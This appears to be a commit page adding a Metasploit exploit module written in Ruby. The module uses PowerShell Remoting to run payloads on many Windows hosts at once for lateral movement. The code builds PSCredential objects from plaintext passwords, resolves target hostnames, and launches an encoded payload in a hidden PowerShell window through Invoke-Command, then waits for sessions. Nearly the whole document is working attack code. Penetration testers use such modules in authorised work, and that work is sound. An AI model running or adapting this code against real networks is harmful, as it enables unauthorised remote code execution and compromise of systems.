Land #4318, Lateral movement through PSRemoting
commit
0c2ed21e90
|
@ -0,0 +1,155 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Powershell Remoting Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
|
||||
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
|
||||
use a HOSTFILE to supply a list of known hostnames.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Ben Campbell' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
||||
[ 'OSVDB', '3106']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'DisclosureDate' => 'Jan 01 1999',
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
|
||||
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
|
||||
OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
|
||||
# Move this out of advanced
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
if !datastore['ExitOnSession'] && !job_id
|
||||
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
|
||||
end
|
||||
|
||||
unless datastore['RHOSTS'] || datastore['HOSTFILE']
|
||||
fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
|
||||
end
|
||||
|
||||
if datastore['SMBUser'] && datastore['SMBPass'].nil?
|
||||
fail_with(Failure::BadConfig, "Need both username and password set.")
|
||||
end
|
||||
|
||||
if datastore['RHOSTS']
|
||||
ip_list = "$iplist="
|
||||
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
|
||||
ip_list << "'#{ip}',"
|
||||
end
|
||||
|
||||
# Remove trailing comma...
|
||||
ip_list = ip_list[0..-2]
|
||||
ip_list << ";"
|
||||
end
|
||||
|
||||
known_hosts = ""
|
||||
if datastore['HOSTFILE']
|
||||
::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
|
||||
hostname.strip!
|
||||
known_hosts << "'#{hostname}'," unless hostname.blank?
|
||||
end
|
||||
known_hosts = known_hosts[0..-2]
|
||||
end
|
||||
|
||||
command = cmd_psh_payload(payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
encode_final_payload: true,
|
||||
remove_comspec: true)
|
||||
|
||||
ps = <<EOF
|
||||
#{generate_credentials}
|
||||
$ResultList=@(#{known_hosts});
|
||||
#{ip_list}
|
||||
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
|
||||
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
|
||||
EOF
|
||||
|
||||
if datastore['SMBUser']
|
||||
ps << " -Credential $creds"
|
||||
end
|
||||
|
||||
# If the host process terminates too quickly the jobs will die
|
||||
# before they spawn in a new process.
|
||||
ps << ";Sleep 20;"
|
||||
ps.gsub!("\n", "")
|
||||
|
||||
command = generate_psh_command_line(
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
command: ps
|
||||
)
|
||||
|
||||
print_status("Executing command...")
|
||||
begin
|
||||
cmd_exec(command)
|
||||
rescue Rex::TimeoutError
|
||||
end
|
||||
|
||||
stime = Time.now.to_f
|
||||
loop do
|
||||
break if session_created? && datastore['ExitOnSession']
|
||||
break if datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f)
|
||||
|
||||
Rex.sleep(1)
|
||||
end
|
||||
|
||||
print_status("Completed")
|
||||
end
|
||||
|
||||
def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass'])
|
||||
creds = ""
|
||||
|
||||
unless user.nil?
|
||||
creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\
|
||||
"$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
|
||||
if domain.nil?
|
||||
creds << "'#{user}'"
|
||||
else
|
||||
creds << "'#{domain}\\#{user}'"
|
||||
end
|
||||
|
||||
creds << ",$pass;"
|
||||
end
|
||||
|
||||
creds
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue